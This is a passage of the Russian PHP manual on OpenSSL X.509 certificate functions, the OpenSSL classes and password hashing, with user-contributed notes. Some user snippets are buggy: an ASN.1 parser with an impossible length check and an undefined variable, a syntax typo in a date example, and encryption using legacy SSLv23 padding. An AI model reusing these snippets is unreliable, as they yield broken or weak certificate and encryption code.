Если задано, то должно содержать путь до PEM-файла, содержащего сертификаты, которые могут быть использованы для проверки сертификата, но не являющиеся при этом доверенными.

Возвращаемые значения

Возвращает true, если сертификат можно использовать по указанному назначению, false - если нельзя и -1 в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | certificate теперь принимает экземпляр OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL X.509.
8.0.0 | untrusted_certificates_file теперь допускает значение null.

User Contributed Notes

dingyuan at tencent dot com 11-Aug-2020 07:15
in one word :if you set $purpose=0, you can use this function to verify certificate chain.

====================================================================

I want to verify a certificate chain. just like this:
userCert.pem => middleCert.pem => rootCert.pem

I figured that none of these openssl functions provide this function directly. And some friends have same need as me,  "mikey at badpenguins dot com" even write his own code to verify certificate chain(you can see notes below openssl_verify).

and I notice a note which has '-3' likes below openssl_verify, it says "validating an X509 certificate chain in php seems to be possible with openssl_x509_checkpurpose()", and I read the source code about this function, the given constant var about $purpose (like X509_PURPOSE_SSL_CLIENT ) is 1-7, and if you set $purpose among 1-7, you cannot verify the cert chain. Set $purpose=0 can get the truly result about verify a cert chain.

and I give that '-3' note a thumb-up, now it has -2 , lol.
adr at NOSPAM dot entropymatrix dot com 17-May-2013 04:24
The following is an example usage of openssl_x509_checkpurpose. It is equivalent to the openssl verify command as follows:
openssl verify -CApath $openssl_cadir -purpose sslserver $openssl_crtfile

<?php
$openssl_crtfile='auth.combined.pem';
$openssl_cadir='./ca';

$x509_res = openssl_x509_read(file_get_contents($openssl_crtfile));
if(empty($x509_res)) {
        echo 'x509 cert could not be read'."\n";
}
$valid = openssl_x509_checkpurpose($x509_res,X509_PURPOSE_SSL_SERVER,array($openssl_cadir));
if ($valid === true) {
        echo 'Certificate is valid for use as SSL server'."\n";
} else {
        echo 'Certificate validation returned'.$valid."\n";
}
?>
chaoszcat at gmail dot com 16-Aug-2012 04:05
Few days ago I dual boot my system into Windows 8 and play around with it, and then I boot it back to windows 7, and all of sudden this function fails by returning me 0 all the time.

Spent almost two hours digging google for no result, I almost end my research.

Then (I don't know why) I did a system time update (synchronize with time.nist.gov), and all of sudden, this function returns me 1 (true).

It's true that when I boot back to Windows 7 my time has been screwed by a few hours later than my current time, and I did a manual change on it. I doubt this has anything to do with this function?

Hope it helps.

Keywords: google discovery, openid, discovery
Platform: Windows 7 64bit, PHP 5.3.13


Экспортирует сертификат в файл

  • « openssl_x509_checkpurpose
  • openssl_x509_export »
  • PHP Manual
  • Функции OpenSSL
  • Экспортирует сертификат в файл

openssl_x509_export_to_file

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_x509_export_to_file — Экспортирует сертификат в файл

Описание

openssl_x509_export_to_file(OpenSSLCertificate|string $certificate, string $output_filename, bool $no_text = true): bool

openssl_x509_export_to_file() сохраняет сертификат certificate в файл output_filename в виде строки в формате PEM.

Список параметров

x509

Для списка корректных значений смотрите Параметры ключей/сертификатов.

output_filename

Путь к файлу.

no_text

Необязательный параметр notext влияет на детализацию сообщений вывода; если он установлен в false, то в вывод добавляется дополнительная человекочитаемая информация. Значением по умолчанию notext является true.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | certificate теперь принимает экземпляр OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL X.509.

User Contributed Notes

There are no user contributed notes for this page.


Экспортирует сертификат в строку

  • « openssl_x509_export_to_file
  • openssl_x509_fingerprint »
  • PHP Manual
  • Функции OpenSSL
  • Экспортирует сертификат в строку

openssl_x509_export

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

openssl_x509_export — Экспортирует сертификат в строку

Описание

openssl_x509_export(OpenSSLCertificate|string $certificate, string &$output, bool $no_text = true): bool

openssl_x509_export() сохраняет сертификат certificate в виде PEM строки в output.

Список параметров

x509

Для списка корректных значений смотрите Параметры ключей/сертификатов.

output

В случае успешного выполнения в этой переменной будет PEM-представление сертификата.

no_text

Необязательный параметр notext влияет на детализацию сообщений вывода; если он установлен в false, то в вывод добавляется дополнительная человекочитаемая информация. Значением по умолчанию notext является true.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | certificate теперь принимает экземпляр OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL X.509.

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет отпечаток или дайджест, заданный сертификатом X.509

  • « openssl_x509_export
  • openssl_x509_free »
  • PHP Manual
  • Функции OpenSSL
  • Вычисляет отпечаток или дайджест, заданный сертификатом X.509

openssl_x509_fingerprint

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

openssl_x509_fingerprint — Вычисляет отпечаток или дайджест, заданный сертификатом X.509

Описание

openssl_x509_fingerprint(OpenSSLCertificate|string $certificate, string $digest_algo = "sha1", bool $binary = false): string|false

openssl_x509_fingerprint() возвращает дайджест certificate в виде строки.

Список параметров

x509

Для списка корректных значений смотрите Параметры ключей/сертификатов.

digest_algo

Метод хеширования. Список доступных методов можно получить с помощью openssl_get_md_methods().

binary

Если установлено как true, будут возвращены необработанные бинарные данные. Если false, то выводит строку из шестнадцатеричных чисел в нижнем регистре.

Возвращаемые значения

Возвращает отпечаток сертификата в виде строки шестнадцатеричных чисел. Если binary установлен в true, то в виде бинарных данных.

В случае возникновения ошибки возвращает false.

Список изменений

Версия | Описание
8.0.0 | certificate теперь принимает экземпляр OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL X.509.

User Contributed Notes

nb at dland dot de 14-Apr-2015 04:05
The manual is not constistent at this point. On one hand, it describes the return as digest/fingerprint of a cert, on the other hand it says:
bool openssl_x509_fingerprint( ... )

On PHP 5.6.5, I only get the bool return (1 or 0).


Высвобождает ресурс сертификата

  • « openssl_x509_fingerprint
  • openssl_x509_parse »
  • PHP Manual
  • Функции OpenSSL
  • Высвобождает ресурс сертификата

openssl_x509_free

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_x509_free — Высвобождает ресурс сертификата

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

openssl_x509_free(OpenSSLCertificate $certificate): void

Замечание:

Использование функции больше не имеет смысла. До PHP 8.0.0 она использовалась для закрытия ресурса.

openssl_x509_free() удаляет сертификат с идентификатором certificate из памяти.

Список параметров

certificate

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | Функция устарела, так как больше не имеет смысла.
8.0.0 | certificate теперь принимает экземпляр OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL X.509.

User Contributed Notes

There are no user contributed notes for this page.


Разобрать сертификат X509 и получить массив с данными о нем

  • « openssl_x509_free
  • openssl_x509_read »
  • PHP Manual
  • Функции OpenSSL
  • Разобрать сертификат X509 и получить массив с данными о нем

openssl_x509_parse

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_x509_parse — Разобрать сертификат X509 и получить массив с данными о нем

Описание

openssl_x509_parse(OpenSSLCertificate|string $certificate, bool $short_names = true): array|false

openssl_x509_parse() возвращает информацию сертификате с идентификатором certificate, включая такие поля, как имя субъекта, имя издателя, назначение, даты начала и окончания действия и т.д.

Список параметров

certificate

Сертификат X509. Список корректных значений смотри в Параметры Key/Certificate.

short_names

short_names определяет, как будут индексироваться данные в итоговом массиве. Если short_names задать как true (по умолчанию), то поля будут индексироваться короткими именами, а не длинными. Например, CN - это короткое имя для commonName.

Возвращаемые значения

Структура возвращаемого массива ещё не до конца устоялась, так что пока не документируется.

Список изменений

Версия | Описание
8.0.0 | certificate теперь принимает экземпляр OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL X.509.

User Contributed Notes

Stilez 06-Jun-2016 04:12
The valid from/to info is returned twice, in two different formats. They can be converted to normal datetime objects like this:

$x509_data = openssl_x509_parse($cert);
date_create_from_format('ymdHise', $x509_data['validFrom'])->format('c');
date_create( '@' .  $x509_data['validFrom_time_t'])->format('c');
/* these give the same result */

To get a human-readable format directly (or any other formatted string) instead of a datetime object, use this:

date_create_from_format('ymdHise', $x509_data['validFrom'])->format('c');
or
date_create( '@' .  $x509_data['validFrom_time_t'])->format('c');

The same applies to validTo and validTo_time_t
s dot stok at rollerscapes dot net 28-Dec-2009 05:03
Alternative subjects can read as extensions.

[extensions]
            [subjectAltName] => DNS:*.cacert.org, DNS:cacert.org, DNS:*.cacert.net, DNS:cacert.net, DNS:*.cacert.com, DNS:cacert.com
koukopoulos at gmail dot com 17-Mar-2008 05:22
Re: the previous note: support for the x509v3 extensions was added in PHP 5.2. Also in PHP5 prior to 5.2.4 the values of the x509v3 extensions were not decoded and were returned in the DER binary representation. Therefore in order to read the contents of the v3 extensions you have to parse the relevant ASN.1 structures yourself.

For example if one needs to read an IA5STRING value in a private extension with the OID 1.3.6.1.4.1.7782.3.3 one can do :

<?php

/* parse a DER encoded representation
   of a IA5STRING of length < 127 */
function asn1der_ia5string($str)
{
    $len=strlen($str)-2;
    if ($len < 0 && $len > 127) {
        return false;
    }

    /* check tag and len */
    if (22 != (ord($str[$pos++]) & 0x1f) &&
    ord($str[$pos++]) != $len) {
    /* not a valid DER encoding of an IA5STRING */
    return false;
    }

    return substr($str, 2,  $len);
}
$cert = openssl_x509_parse($pemcert);
print (asn1der_ia5string($cert['extensions']['1.3.6.1.4.1.7782.3.3'])); // prints decoded ascii string

?>

In newer versions (>5.2.3) the extensions are returned in a 'readable format'. For example:

<?php print_r(openssl_x509_parse(...)); ?>
will result in
<?
Array
(
    [name] => /C=GR/O=SOMETHING/CN=ME/
    ...
    [extensions] => Array
        (
            [basicConstraints] => CA:FALSE
            [keyUsage] => Digital Signature, Non Repudiation, Key Encipherment
            [extendedKeyUsage] => E-mail Protection, TLS Web Client Authentication
            [nsCertType] => SSL Client, S/MIME
            ....
?>
zioproto at gmail dot com 13-Feb-2008 06:43
To read an extension from a X.509 certificate, you can proceed like this if you know the OID

//Read the certificate from file
$cert = file_get_contents('test.crt');
$ssl = openssl_x509_parse($cert);

$ext_value =  $ssl['extensions']['1.2.3.4.5.6'];
echo $ext_value

--------------------------------

Because the $ssl array is not documented, you can easily see its contents like this:

  //To print out all the array!
  print_r(array_values($ssl));
  print_r(array_keys($ssl));
nathanael at dihedral dot de 11-Aug-2006 06:02
When dealing with the purposes of a x509 crt file
the output of openssl_x509_parse gives an array with following for the purposes:
each new array ([purposes][1], [purposes][2] for example) is a new purpose check
I compared this output with the output of the command
# openssl x509 -purpose -in <x509crt_file>
the result i got was that
[purposes][x][2] quite obviously is the name of the purpose checked
[purposes][x][1] corresponds to the tested purpose (as named in [purposes][x][2]) acting as CA
[purposes][x][0] corresponds to the general availability of the purpose

[purposes] => Array
    (
        [1] => Array
            (
                [0] => 1
                [1] => 1
                [2] => sslclient
            )

        [2] => Array
            (
                [0] => 1
                [1] => 1
                [2] => sslserver
            )

        [3] => Array
            (
                [0] => 1
                [1] => 1
                [2] => nssslserver
            )

        [4] => Array
            (
                [0] => 1
                [1] => 1
                [2] => smimesign
            )

        [5] => Array
            (
                [0] => 1
                [1] => 1
                [2] => smimeencrypt
            )

        [6] => Array
            (
                [0] => 1
                [1] => 1
                [2] => crlsign
            )

        [7] => Array
            (
                [0] => 1
                [1] => 1
                [2] => any
            )

        [8] => Array
            (
                [0] => 1
                [1] => 1
                [2] => ocsphelper
            )

    )
maarten at xolphin dot nl 11-Feb-2005 02:00
At this time very useful X509 oids (like streetAddress, postalCode and others) are missing. You can find a list of them at http://www.alvestrand.no/objectid/2.5.4.html, I hope they get included to openssl-x509-parse soon.

Until then you can get these oids anyway like this:

<?
  function getOID($OID, $ssl)
  {
    preg_match('/\/' . $OID  . '=([^\/]+)/', $ssl, $matches);
    return $matches[1];
  }

  $cert = file_get_contents('test.crt');
  $ssl = openssl_x509_parse($cert);
  $Address = getOID('2.5.4.9', $ssl['name']);
  $ZipCode = getOID('2.5.4.17', $ssl['name']);
  $Postbox = getOID('2.5.4.18', $ssl['name']);
?>

The parseCert function from the Horde framework can be usefull for this too.
smgallo at buffalo dot edu 29-Oct-2004 11:15
The identifier for the email portion of certificates in the name and subject array have changed since PHP4.  In PHP 4.3.0 the following array was returned (displayed my print_r())

[name] => /O=Grid/O=Globus/O=CCR Grid Portal/OU=Portal User/CN=Test User/Email=test@nospam.buffalo.edu
[subject] => Array
(
   [O] => Grid/O=Globus/O=CCR Grid Portal
   [OU] => Portal User
   [CN] => Test User
   [Email] => test@nospam.buffalo.edu
...

The result in PHP5 is (note Email -> emailAddress):

[name] => /O=Grid/O=Globus/O=CCR Grid Portal/OU=Portal User/CN=Test User/emailAddress=test@nospam.buffalo.edu
[subject] => Array
(
   [O] => Grid/O=Globus/O=CCR Grid Portal
   [OU] => Portal User
   [CN] => Test User
   [emailAddress] => test@nospam.buffalo.edu
...

Of course, the manual DOES say this could happen.  :)


Разобрать сертификат X.509 и вернуть для него объект

  • « openssl_x509_parse
  • openssl_x509_verify »
  • PHP Manual
  • Функции OpenSSL
  • Разобрать сертификат X.509 и вернуть для него объект

openssl_x509_read

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

openssl_x509_read — Разобрать сертификат X.509 и вернуть для него объект

Описание

openssl_x509_read(OpenSSLCertificate|string $certificate): OpenSSLCertificate|false

openssl_x509_read() извлекает сертификат из certificate и возвращает объект OpenSSLCertificate для него.

Список параметров

certificate

Сертификат X509. Список корректных значений смотрите на странице Параметры ключей и сертификатов.

Возвращаемые значения

Возвращает объект OpenSSLCertificate в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения возвращает экземпляр OpenSSLCertificate; ранее возвращался ресурс (resource) типа OpenSSL X.509.
8.0.0 | certificate теперь принимает экземпляр OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL X.509.

User Contributed Notes

marc theat nwd thedot mx 10-May-2011 09:58
To get the real timestamps as integer values for the validity daterange you can use as follows:

<?php
$data = openssl_x509_parse(file_get_contents('/path/to/cert.crt'));

$validFrom = date('Y-m-d H:i:s', $data['validFrom_time_t']);
$validTo ) date('Y-m-d H:i:s', $data['validTo_time_t']);

echo $validFrom . "\n";
echo $validTo . "\n";

?>
04-Jun-2003 09:32
After some tests I've been able to get some results this way ...

<?php

 $fp = fopen("/etc/httpd/conf/ssl/moncertif.crt", "r");
 $cert = fread($fp, 8192);
 fclose($fp);

echo "Read<br>";
echo openssl_x509_read($cert);
echo "<br>";
echo "*********************";
echo "<br>";
echo "Parse<br>";
print_r(openssl_x509_parse($cert));
/*
// or
print_r(openssl_x509_parse( openssl_x509_read($cert) ) );
*/

?>

enjoy
;)
anthony dot whitehead at rfv dot sfa dot se 03-Feb-2003 05:32
Short HOWTO for getting data out of a client certificate via an SSL enabled iPlanet (Netscape Enterprise or Sun ONE) web server.

The iPlanet server sets $_SERVER["CLIENT_CERT"] whenever a client authenticates with a certificate. This variable contains an encoded representation of the certificate presented by the client. This in itself is useless to scripts or applications, we need to extract the actual information from the encoding. It turns out that we are in luck, the encoding is NEARLY a standard PEM encoding which can be read by the openssl_x509_read() function. A standard PEM has a begin line, an end line and inbetween is a base64 encoding of the DER representation of the certificate. PEM requires that linefeeds be present every 64 characters, however this is already the case with our CLIENT_CERT variable. For some reason the iPlanet server neglects to attach the begin and end headers, all that is required to allow access to the certificate is replacing these headers. Here is a small code excerpt for doing just that and printing out the raw certificate data.

<?php
    $beginpem = "-----BEGIN CERTIFICATE-----\n";
    $endpem = "-----END CERTIFICATE-----\n";

    // Small function to print the data recursivly.
    function print_element($item, $key)
    {
        if( is_array( $item ) )
        {
            echo "$key is Array:\n";
            array_walk( $item, 'print_element' );
            echo "$key done\n";
        }
        else
            echo "$key = $item\n";
    }

    // Build the PEM string.
    $pemdata = $beginpem.$_SERVER["CLIENT_CERT"]."\n".$endpem;

    // Get a certificate resource from the PEM string.
    $cert = openssl_x509_read( $pemdata );

    // Parse the resource and print out the contents.
    $cert_data = openssl_x509_parse( $cert );
    array_walk( $cert_data, 'print_element' );

    // Free the resource
    openssl_x509_free( $cert );
?>


Проверка цифровой подписи сертификата x509 с помощью публичного ключа

  • « openssl_x509_read
  • OpenSSLCertificate »
  • PHP Manual
  • Функции OpenSSL
  • Проверка цифровой подписи сертификата x509 с помощью публичного ключа

openssl_x509_verify

(PHP 7 >= 7.4.0, PHP 8)

openssl_x509_verify — Проверка цифровой подписи сертификата x509 с помощью публичного ключа

Описание

openssl_x509_verify(OpenSSLCertificate|string $certificate, OpenSSLAsymmetricKey|OpenSSLCertificate|array|string $public_key): int

openssl_x509_verify() проверяет, что сертификат certificate был подписан приватным ключом, соответствующим публичному ключу public_key.

Список параметров

x509

Для списка корректных значений смотрите Параметры ключей/сертификатов.

public_key

OpenSSLAsymmetricKey - ключ, возвращённый функцией openssl_get_publickey()

string - ключ в формате PEM, такого вида: -----BEGIN PUBLIC KEY----- MIIBCgK....

Возвращаемые значения

Возвращает 1, если подпись корректна, 0, если нет, и -1 в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | certificate теперь принимает экземпляр OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL X.509.
8.0.0 | public_key теперь принимает экземпляр OpenSSLAsymmetricKey или OpenSSLCertificate; ранее принимался ресурс (resource) типа OpenSSL key или OpenSSL X.509.

Примеры

Пример #1 Пример использования openssl_x509_verify()

<?php
$hostname = "news.php.net";
$ssloptions = array(
"capture_peer_cert" => true,
"capture_peer_cert_chain" => true,
"allow_self_signed"=> false,
"CN_match" => $hostname,
"verify_peer" => true,
"SNI_enabled" => true,
"SNI_server_name" => $hostname,
);

$ctx = stream_context_create( array("ssl" => $ssloptions) );
$result = stream_socket_client("ssl://$hostname:443", $errno, $errstr, 30, STREAM_CLIENT_CONNECT, $ctx);
$cont = stream_context_get_params($result);
$x509 = $cont["options"]["ssl"]["peer_certificate"];
$certparsed = openssl_x509_parse($x509);

foreach($cont["options"]["ssl"]["peer_certificate_chain"] as $chaincert)
{
$chainparsed = openssl_x509_parse($chaincert);
$chain_public_key = openssl_get_publickey($chaincert);
$r = openssl_x509_verify($x509, $chain_public_key);
if ($r==1)
{
echo $certparsed['subject']['CN'];
echo " was digitally signed by ";
echo $chainparsed['subject']['CN']."\n";
}
}
?>

Смотрите также

  • openssl_verify() - Сверка сигнатуры
  • openssl_get_publickey() - Псевдоним openssl_pkey_get_public

User Contributed Notes

There are no user contributed notes for this page.


Класс OpenSSLCertificate

(PHP 8)

Введение

Полностью непрозрачный класс, заменяющий ресурсы OpenSSL X.509 в PHP 8.0.0.

Обзор классов

final class OpenSSLCertificate {
}

User Contributed Notes

There are no user contributed notes for this page.


Класс OpenSSLCertificateSigningRequest

(PHP 8)

Введение

Полностью непрозрачный класс, заменяющий ресурсы OpenSSL X.509 CSR в PHP 8.0.0.

Обзор классов

final class OpenSSLCertificateSigningRequest {
}

User Contributed Notes

There are no user contributed notes for this page.


Класс OpenSSLAsymmetricKey

(PHP 8)

Введение

Полностью непрозрачный класс, заменяющий ресурсы OpenSSL key в PHP 8.0.0.

Обзор классов

final class OpenSSLAsymmetricKey {
}

User Contributed Notes

kaiserwaseem at gmail dot com 16-Jun-2023 01:08
<?php

$data="Your secret data goes here...";
$encrypted_data = "";

//Sample Public Key in your pem file:
$publicKey='-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoKQH6XtTUYPSIWPjtcA3I6VBF3F3TZMd9RImq0YG55qGIJvOOP0MeVib
D7MFtN4hv6ke3NyYaaUfRaxQ6mrDGzd
YOzdkqebjUzSNnwd8eQCRL2rvOsgUhf2yghLBlxq+9yfpzDV3KQ58JkCqvV1trBt/ISjPtgbK24V3v55z+cN558DMgyQmV
8pYrTFzktFVlJP20DR08HzIGimlWq/ixUfY4K
rznqapnKMw1u6SVVgGem67LC8HO9Mfx3KDseJaG7oUbSWq8vaTW2ewjEfs5JRt1OMUol7CHHtqVprcMizclqCO9Kh
Dmpussq19l0LbKbGkC73uK0Nm8RyfGhiWCQIDAQAB
-----END PUBLIC KEY-----';

//following line will return the object of OpenSSLAsymmetricKey
$oOpenSSLAsymmetricKey = openssl_get_publickey($publicKey);

//following line will return the encrypted data with RSA 2048 encryption
$encryptedData =  openssl_public_encrypt(
    $data,
    $encrypted_data,
   $oOpenSSLAsymmetricKey,
     OPENSSL_SSLV23_PADDING
);

var_dump($encrypted_data);


Хеширование паролей

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции хеширования паролей
    • password_algos — Получает доступные идентификаторы алгоритма хеширования пароля
    • password_get_info — Возвращает информацию о заданном хеше
    • password_hash — Создаёт хеш пароля
    • password_needs_rehash — Проверяет, что указанный хеш соответствует заданным опциям
    • password_verify — Проверяет, соответствует ли пароль хешу

User Contributed Notes

There are no user contributed notes for this page.


Введение

API хеширования паролей предоставляет простую в использовании обёртку функции crypt() и некоторых других алгоритмов хеширования пароля для лёгкого создания и управления паролями.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для сборки этого модуля не требуются внешние библиотеки.

Для хеширования паролей через Argon2 требуется » libargon2. Начиная с PHP 7.3.0, требуется libargon2 версии 20161029 или выше.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Для использования этих функций не требуется проведение установки, поскольку они являются частью ядра PHP.

Однако, чтобы включить хеширование используя Argon2, PHP должен собран с поддержкой libargon2 с использованием опции конфигурации --with-password-argon2.

До PHP 8.1.0 можно было указать каталог argon2 с помощью команды --with-password-argon2[=DIR].

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы всегда доступны как часть ядра PHP.

PASSWORD_BCRYPT (string)

PASSWORD_BCRYPT используется для создания новых хешей паролей используя алгоритм CRYPT_BLOWFISH.

Результат всегда представляет из себя хеш формата "$2y$" длиной 60 символов.

Поддерживаемые опции:

  • salt (string) - соль для использования при создании хеша пароля. Обратите внимание, что задание этой опции предотвращает автоматическую генерацию соли.

    Если не задано, то для каждого хешируемого пароля будет создана случайная соль с помощью функции password_hash(). Это является предпочтительным способом, а с PHP 7.0.0 опция salt объявлена устаревшей.

  • cost (int) - алгоритмическая стоимость, которую следует использовать. Примеры использования этого значения смотрите на странице описания функции crypt().

    Если не задано, то будет использовано значение 10. Это хорошая базовая стоимость, но вы всегда можете её увеличить в зависимости от имеющихся в вашем распоряжении вычислительных ресурсов.

PASSWORD_ARGON2I (string)

PASSWORD_ARGON2I используется для создания новых хешей паролей с помощью алгоритма Argon2i.

Поддерживаемые опции:

  • memory_cost (int) - Максимальный размер памяти (в кибибайтах), которую можно использовать для вычисления хеша Argon2. По умолчанию PASSWORD_ARGON2_DEFAULT_MEMORY_COST.

  • time_cost (int) - Максимально возможное время которое можно потратить для вычисления хеша Argon2. По умолчанию PASSWORD_ARGON2_DEFAULT_TIME_COST.

  • threads (int) - Количество потоков, которые можно использовать для вычисления хеша Argon2. По умолчанию PASSWORD_ARGON2_DEFAULT_THREADS. Доступно только с libargon2, но не с реализацией libsodium.

Доступно с PHP 7.2.0.

PASSWORD_ARGON2ID (string)

PASSWORD_ARGON2ID используется для создания хешей паролей с помощью алгоритма Argon2id. Поддерживаются те же опции, что и для PASSWORD_ARGON2I.

Доступно с PHP 7.3.0.

PASSWORD_ARGON2_DEFAULT_MEMORY_COST (тип int)

Объем памяти в байтах по умолчанию, который будет использоваться при попытке вычислить хеш.

Доступно с PHP 7.2.0.

PASSWORD_ARGON2_DEFAULT_TIME_COST (int)

Ограничение времени по умолчанию на вычисление хеша.

Доступно с PHP 7.2.0.

PASSWORD_ARGON2_DEFAULT_THREADS (int)

Количество потоков по умолчанию для библиотеки Argon2lib. Недоступно с реализацией libsodium.

Доступно с PHP 7.2.0.

PASSWORD_DEFAULT (mixed)

Алгоритм хеширования по умолчанию, если не задан принудительно. Может быть изменён в более новых версиях PHP на более надёжный алгоритм.

Стоит отметить, что со временем эта константа может (и, вероятно, так и будет) измениться. Так что имейте в виду, что длина полученного хеша может измениться. Помните, что если вы используете PASSWORD_DEFAULT, то предусмотрите для хранения хешей больше чем 60 символов (рекомендуется 255).

Значения для этой константы:

  • PHP 5.5.0 - PASSWORD_BCRYPT

Список изменений

Версия | Описание
7.4.0 | Значения идентификаторов алгоритма пароля (PASSWORD_BCRYPT, PASSWORD_ARGON2I, PASSWORD_ARGON2ID и PASSWORD_DEFAULT) теперь являются строками (string). Ранее они были числами (int).

User Contributed Notes

There are no user contributed notes for this page.


Функции хеширования паролей

Содержание

  • password_algos — Получает доступные идентификаторы алгоритма хеширования пароля
  • password_get_info — Возвращает информацию о заданном хеше
  • password_hash — Создаёт хеш пароля
  • password_needs_rehash — Проверяет, что указанный хеш соответствует заданным опциям
  • password_verify — Проверяет, соответствует ли пароль хешу

User Contributed Notes

There are no user contributed notes for this page.


Получает доступные идентификаторы алгоритма хеширования пароля

  • « Функции хеширования паролей
  • password_get_info »
  • PHP Manual
  • Функции хеширования паролей
  • Получает доступные идентификаторы алгоритма хеширования пароля

password_algos

(PHP 7 >= 7.4.0, PHP 8)

password_algos — Получает доступные идентификаторы алгоритма хеширования пароля

Описание

password_algos(): array

Возвращает полный список всех зарегистрированных идентификаторов алгоритма хеширования паролей в виде массива (array) строк (string)

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает доступные идентификаторы алгоритма хеширования пароля.

Примеры

Пример #1 Пример использования password()

<?php
print_r(password_algos());
?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [0] => 2y
    [1] => argon2i
    [2] => argon2id
)

User Contributed Notes

XRevan86 26-Jul-2020 12:12
A polyfill for PHP 7.3 and older:
<?php
if (version_compare(PHP_VERSION, '7.4.0', '<')) {
    function password_algos(): array
    {
        $algos = [PASSWORD_BCRYPT];
        defined('PASSWORD_ARGON2I')  && $algos[] = PASSWORD_ARGON2I;
        defined('PASSWORD_ARGON2ID') && $algos[] = PASSWORD_ARGON2ID;
        return $algos;
    }
}
?>


Возвращает информацию о заданном хеше

  • « password_algos
  • password_hash »
  • PHP Manual
  • Функции хеширования паролей
  • Возвращает информацию о заданном хеше

password_get_info

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

password_get_info — Возвращает информацию о заданном хеше

Описание

password_get_info(string $hash): array

Если передан корректный хеш, созданный поддерживаемым password_hash() алгоритмом, то эта функция вернёт информацию об этом хеше.

Список параметров

hash

Хеш, созданный функцией password_hash().

Возвращаемые значения

Возвращает ассоциативный массив с тремя элементами:

  • algo, содержащий одну из констант алгоритмов паролей
  • algoName, содержащий имя алгоритма в человекочитаемом виде
  • options, включающий опции, переданные при вызове password_hash()

User Contributed Notes

cbungholio at gmail dot com 31-Jul-2017 01:23
If you're curious to use this method to determine if there is someway to evaluate if a given string is NOT a password_hash() value...

<?php

// Our password.. the kind of thing and idiot would have on his luggage:
$password_plaintext = "12345";

// Hash it up, fuzzball!
$password_hash = password_hash( $password_plaintext, PASSWORD_DEFAULT, [ 'cost' => 11 ] );

// What do we get?
print_r( password_get_info( $password_hash ) );

/* returns:
Array (
    [algo] => 1
    [algoName] => bcrypt  // Your server's default.
    [options] => Array ( [cost] => 11 )
)
*/

// What about if it's un-hashed?...
print_r( password_get_info( $password_plaintext ) );

/* returns:
Array (
    [algo] => 0
    [algoName] => unknown
    [options] => Array ( )
)
*/
?>

... Looks like it's up to each of us to personally decide if it's safe to compare against the final returned array.
lincoln dot du dot j at gmail dot com 16-Jul-2017 07:59
<?php

$a= password_hash("rasmuslerdorf", PASSWORD_DEFAULT);

var_dump(password_get_info($a));
//change every refresh
var_dump($a);

?>

//Output like

array(3) {
  ["algo"]=>
  int(1)
  ["algoName"]=>
  string(6) "bcrypt"
  ["options"]=>
  array(1) {
    ["cost"]=>
    int(10)
  }
}
string(60) "$2y$10$wKEZs6W//QDoOeTKSCXx7.Y9Q7duFEtJpFFuJn1G5GhyWTTit/tL2"


Создаёт хеш пароля

  • « password_get_info
  • password_needs_rehash »
  • PHP Manual
  • Функции хеширования паролей
  • Создаёт хеш пароля

password_hash

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

password_hash — Создаёт хеш пароля

Описание

password_hash(string $password, string|int|null $algo, array $options = []): string

Функция password_hash() создаёт хеш пароля, используя сильный необратимый алгоритм хеширования.

Поддерживаются следующие алгоритмы:

  • PASSWORD_DEFAULT — будет выбран алгоритм bcrypt (по умолчанию с PHP 5.5.0). Обратите внимание, алгоритм может измениться на более сильный, когда такой добавится в PHP. При изменении алгоритма и длина результата также может измениться. Поэтому длину поля для хранения в базе данных лучше устанавливать более 60 символов (255 символов будет хорошим значением).
  • PASSWORD_BCRYPT — будет выбран алгоритм CRYPT_BLOWFISH. Генерирует стандартный хеш с идентификатором "$2y$", совместимый с тем, который генерирует функция crypt(). В результате будет сгенерирована строка длиной 60 символов или false в случае возникновения ошибки.
  • PASSWORD_ARGON2I — будет выбран алгоритм хеширования Argon2i. Этот алгоритм будет доступен, только если PHP собран с поддержкой Argon2.
  • PASSWORD_ARGON2ID — будет выбран алгоритм хеширования Argon2id. Этот алгоритм будет доступен, только если PHP собран с поддержкой Argon2.

Поддерживаемые опции для PASSWORD_BCRYPT:

  • salt (string) — для самостоятельного задания соли для хеширования. Обратите внимание, что это приведёт к переопределению и предотвратит автоматическое создание соли.

    Если не задано, то функция password_hash() будет генерировать случайную соль для каждого хешируемого пароля. Это предпочтительный режим работы.

    Внимание

    Эта опция объявлена устаревшей. Рекомендуется использовать автоматически генерируемую соль. Начиная с PHP 8.0.0 явно заданная соль игнорируется.

